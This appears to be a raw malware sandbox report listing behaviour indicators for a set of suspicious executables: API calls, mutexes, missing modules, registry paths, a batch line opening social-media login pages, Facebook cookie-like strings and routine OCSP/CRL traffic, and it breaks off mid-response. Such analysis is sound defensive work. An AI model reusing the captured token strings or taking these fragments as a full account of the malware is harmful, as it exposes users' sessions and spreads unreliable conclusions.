00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00002248) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00002248) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003112) "cacls.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003112) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004944) "cmd.exe" called "GetProcAddress" with a parameter CopyFileExW (UID: 00000000-00004944) "cmd.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00004944) "cmd.exe" called "GetProcAddress" with a parameter SetConsoleInputExeNameW (UID: 00000000-00004944) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005320) "cacls.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003280) "cacls.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003280) "cacls.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003280) "cacls.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003280)42:T6b0,Sleep@KERNEL32.DLL at 00000000-00001884-30668-11-00F46A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00001884-30668-37-00F43FEF MsgWaitForMultipleObjects at 00000000-00001884-30668-95-00F43680 Sleep@KERNEL32.DLL at 00000000-00004376-31130-11-00066A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00004376-31130-37-00063FEF MsgWaitForMultipleObjects at 00000000-00004376-31130-95-00063680 Sleep@KERNEL32.DLL at 00000000-00003660-31535-11-00A56A60 WaitForSingleObject@KERNEL32.DLL at 00000000-00003660-31535-37-00A53FEF MsgWaitForMultipleObjects at 00000000-00003660-31535-95-00A53680 WaitForSingleObject@KERNEL32.DLL at 00000000-00001864-33044-473-00C0B04D SleepConditionVariableSRW@KERNEL32.DLL at 00000000-00001520-34373-4141-009B565A Sleep@KERNEL32.DLL at 00000000-00001520-34373-4359-009B03A0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00001520-34373-4420-00993210 TpSetTimer at 00000000-00001520-34373-5169-009BAC5E SleepConditionVariableCS@KERNEL32.DLL at 00000000-00001520-34373-5171-009BAC93 SleepConditionVariableSRW@KERNEL32.DLL at 00000000-00001520-34373-5172-009BACAC SleepConditionVariableSRW@KERNEL32.DLL at 00000000-00003232-36826-4845-00B2565A Sleep@KERNEL32.DLL at 00000000-00003232-36826-5063-00B203A0 WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00003232-36826-5124-00B03210 TpSetTimer at 00000000-00003232-36826-5873-00B2AC5E SleepConditionVariableCS@KERNEL32.DLL at 00000000-00003232-36826-5875-00B2AC93 SleepConditionVariableSRW@KERNEL32.DLL at 00000000-00003232-36826-5876-00B2ACAC Sleep@KERNEL32.DLL at 00000000-00002000-39627-322-003B3C30 Sleep@KERNEL32.DLL at 00000000-00002000-39627-439-003BEAE0 Sleep@KERNEL32.DLL at 00000000-00002000-39627-440-003BAED043:T699,LoadLibraryA@KERNEL32.DLL at 00000000-00001884-30668-33-00F42F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00001884-30668-41-00F46495 LoadLibraryA@KERNEL32.DLL at 00000000-00001884-30668-42-00F4202A LoadLibraryA@KERNEL32.DLL at 00000000-00001884-30668-73-00F417EE LoadLibraryA@KERNEL32.DLL at 00000000-00001884-30668-112-00F44224 LoadLibraryA@KERNEL32.DLL at 00000000-00004376-31130-33-00062F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00004376-31130-41-00066495 LoadLibraryA@KERNEL32.DLL at 00000000-00004376-31130-42-0006202A LoadLibraryA@KERNEL32.DLL at 00000000-00004376-31130-73-000617EE LoadLibraryA@KERNEL32.DLL at 00000000-00004376-31130-112-00064224 LoadLibraryA@KERNEL32.DLL at 00000000-00003660-31535-33-00A52F1D LoadLibraryExA@KERNEL32.DLL at 00000000-00003660-31535-41-00A56495 LoadLibraryA@KERNEL32.DLL at 00000000-00003660-31535-42-00A5202A LoadLibraryA@KERNEL32.DLL at 00000000-00003660-31535-73-00A517EE LoadLibraryA@KERNEL32.DLL at 00000000-00003660-31535-112-00A54224 LoadLibraryExW@KERNEL32.DLL at 00000000-00001864-33044-166-00BF4273 LoadLibraryExW@KERNEL32.DLL at 00000000-00001520-34373-1267-00A27FBD LoadLibraryExW@KERNEL32.DLL at 00000000-00001520-34373-2627-009EB76B LoadLibraryExW@KERNEL32.DLL at 00000000-00001520-34373-6676-00A27DD6 LoadLibraryExW@KERNEL32.DLL at 00000000-00003232-36826-1971-00B97FBD LoadLibraryExW@KERNEL32.DLL at 00000000-00003232-36826-3331-00B5B76B LoadLibraryExW@KERNEL32.DLL at 00000000-00003232-36826-7475-00B97DD6 LoadLibraryExW@KERNEL32.DLL at 00000000-00002000-39627-640-003C5354 LoadLibraryW@KERNEL32.DLL at 00000000-00003560-57519-201-00409355 LoadLibraryW@KERNEL32.DLL at 00000000-00003560-57519-227-0040DA4344:Ta7f,Process 1Nd23RF4.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex" Process 5nB9ui9.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process 5nB9ui9.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process explothe.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process explothe.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process explothe.exe created mutex with name "\Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d" Process 6BL1kL7.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process 6BL1kL7.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_d40_IESQMMUTEX_0_519" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\VERMGMTBlockListFileMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_3392" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_HASHFILESWITCH_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_DOWNLOAD_MUTEX" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_d40_IE_EarlyTabStart_0xabc_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_d40_ConnHashTable<3392>_HashTable_Mutex" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{5312EE61-79E3-4A24-BFE1-132B85B23C3A}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_d40_IESQMMUTEX_0_303" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\IsoScope_d40_IESQMMUTEX_0_331" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\{66D0969A-1E86-44CF-B4EC-3806DDDA3B5D}" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\UpdatingNewTabPageData" Process iexplore.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\URLBLOCK_FILEMAPSWITCH_MUTEX_3820"45:Tf2d,"1Nd23RF4.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "amsi.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "1Nd23RF4.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "3Cf23Ki.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "4em853cx.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\ucrtbase_clr0400.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\PresentationCore\v4.0_4.0.0.0__31bf3856ad364e35\SHLWAPI.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "5nB9ui9.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135]46:T644,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "gF3mD54.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "4em853cx.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "oi9NR71.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "3Cf23Ki.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "ZF2zr63.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "Cb7yP98.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "5nB9ui9.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE "2pQ5650.exe" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE47:T82b,Found string "facebook.com" (Indicator: "facebook.com"; File: "screen_4.png") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found string "https://www.youtube.com" (Indicator: "youtube"; File: "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "3248.bat") file/memory contains long string with (Indicator: "youtube"; File: "SV9Y7V8F.txt") file/memory contains long string with (Indicator: "youtube"; File: "ULE3BMTC.txt") file/memory contains long string with (Indicator: "youtube"; File: "6DYMXH6G.txt") file/memory contains long string with (Indicator: "youtube"; File: "FQZ47ELV.txt") file/memory contains long string with (Indicator: "youtube"; File: "X3JQAEBO.txt") file/memory contains long string with (Indicator: "youtube"; File: "UZEDZ62P.txt") Found string "06OelTD9dKXrrwN0j..BqjNdB..AAA.0.0.BqjNdB.AWdc8hMrvXBgSQVWeqdzLKJeiiAfacebook.com/9217150259059231292123350249123031274046QdeMaicNAiQKOsKumIKCTuP-facebook.com/9217304704473631354484410064723131274046" (Indicator: "facebook.com"; File: "UR3QOD7Z.txt") Found string "06OelTD9dKXrrwN0j..BqjNdB..AAA.0.0.BqjNdB.AWdc8hMrvXBgSQVWeqdzLKJeiiAfacebook.com/9217150259059231292123350249123031274046" (Indicator: "facebook.com"; File: "I7CP1S2U.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" (Indicator: "facebook.com"; File: "SSL") file/memory contains long string with (Indicator: "youtube"; File: "SSL")48:T939,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00001380.00000001.79790.002B1000.00000020.mdmp "ISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00001380.00000002.81294.00090000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00001520.00000000.79661.00320000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00001884.00000000.77928.00F41000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00002000.00000000.80378.00240000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002000.00000000.80378.00240000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00002000.00000001.80439.00240000.00000004.mdmp "REGISTRY\USER\S-1-5-21-2092356043-4041700817-663127204-1001\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" in Source: 00000000-00003232.00000001.80036.004A0000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003560.00000000.80795.00260000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003560.00000000.80795.00260000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003620.00000001.79333.01201000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00003660.00000001.79672.00A51000.00000020.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003888.00000001.82667.00310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003888.00000001.82667.00310000.00000004.mdmp "Software\Policies\Microsoft\Internet Explorer\Main" in Source: 00000000-00003888.00000002.84590.00310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00003888.00000002.84590.00310000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00004376.00000000.77981.00061000.00000020.mdmp49:T2f30,"GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.cn" Response ==> HTTP/1.1 200 OK Server: Tengine Content-Type: application/ocsp-response Content-Length: 471 Connection: keep-alive Cache-Control: max-age=7200 Date: Mon 24 Aug 2026 23:34:22 GMT Via: ens-cache24.l2us5[30 24 200-0 C] ens-cache8.l2us5[25 0] ens-cache33.us34[0 0 200-0 H] ens-cache2.us34[1 0] Age: 578 Ali-Swift-Global-Savetime: 1787614462 X-Cache: HIT TCP_MEM_HIT dirn:-2:-2 X-Swift-SaveTime: Mon 24 Aug 2026 23:34:22 GMT X-Swift-CacheTime: 3600 Timing-Allow-Origin: * EagleId: a3b53c9617876150403077440e with response body ==>30C28201C3930A0100C2A0C28201C38C30C28201C38806092B060105050730010104C28201C2B930C28201C2B530C281C29EC2A2160414C2B13EC3836903C3B8....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/sytroprc:52:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=sytroprc:52:0 Report-To: {"group":"sytroprc:52:0" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/sytroprc:52:0"}] } Server: scaffolding on HTTPServer2 Content-Length: 1446 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 24 Aug 2026 22:40:01 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3839 with response body ==>30C28205C2A20A0100C2A0C28205C29B30C28205C29706092B060105050730010104C28205C28830C28205C28430C281C29EC2A2160414C3BCC2B709C3AA4D79....... "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 39844 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:09:48 GMT Expires: Mon 24 Aug 2026 23:59:48 GMT Cache-Control: public max-age=3000 Age: 2053 Last-Modified: Mon 24 Aug 2026 20:56:19 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282C29BC2A030C282C29AC288020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F....... "GET /r/r1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 993 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:34:13 GMT Expires: Tue 25 Aug 2026 00:24:13 GMT Cache-Control: public max-age=3000 Age: 588 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C28203C39D30C28201C385020101300D06092AC28648C286C3B70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C....... "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 40626 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:26:02 GMT Expires: Tue 25 Aug 2026 00:16:02 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 24 Aug 2026 21:35:40 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 1079 with response body ==>30C282C29EC2AE30C282C29DC296020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F....... "GET /r/gsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 1739 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:04:51 GMT Expires: Mon 24 Aug 2026 23:54:51 GMT Cache-Control: public max-age=3000 Age: 2353 Last-Modified: Tue 07 Jul 2026 08:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C28206C38730C28205C2AF020101300D06092AC28648C286C3B70D01010B05003057310B300906035504061302424531193017060355040A1310476C6F6261....... "GET /wr2/GSyT1N4PBrg.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 40210 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:15:09 GMT Expires: Tue 25 Aug 2026 00:05:09 GMT Cache-Control: public max-age=3000 Age: 1735 Last-Modified: Mon 24 Aug 2026 19:47:03 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282C29D0E30C282C29BC3B6020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F67....... "GET /we2/64OUIVzpZV4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 52234 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:26:19 GMT Expires: Tue 25 Aug 2026 00:16:19 GMT Cache-Control: public max-age=3000 Age: 1065 Last-Modified: Mon 24 Aug 2026 20:09:50 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282C38C0630C282C38BC2AC020101300A06082AC28648C38E3D040302303B310B3009060355040613025553311E301C060355040A1315476F6F676C652054....... "GET /r/r4.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 528 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:04:54 GMT Expires: Mon 24 Aug 2026 23:54:54 GMT Cache-Control: public max-age=3000 Age: 2350 Last-Modified: Wed 11 Feb 2026 14:38:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>30C282020C30C28201C293020101300A06082AC28648C38E3D0403033047310B300906035504061302555331223020060355040A1319476F6F676C6520547275....... "GET /wr2/oBFYYahzgVI.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 40969 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 24 Aug 2026 23:06:34 GMT Expires: Mon 24 Aug 2026 23:56:34 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 24 Aug 2026 23:03:41 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 2253 with response body ==>30C282C2A00530C282C29EC3AD020101300D06092AC28648C286C3B70D01010B0500303B310B3009060355040613025553311E301C060355040A1315476F6F67....... "GET /r/r1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: c.pki.goog" Response ==> 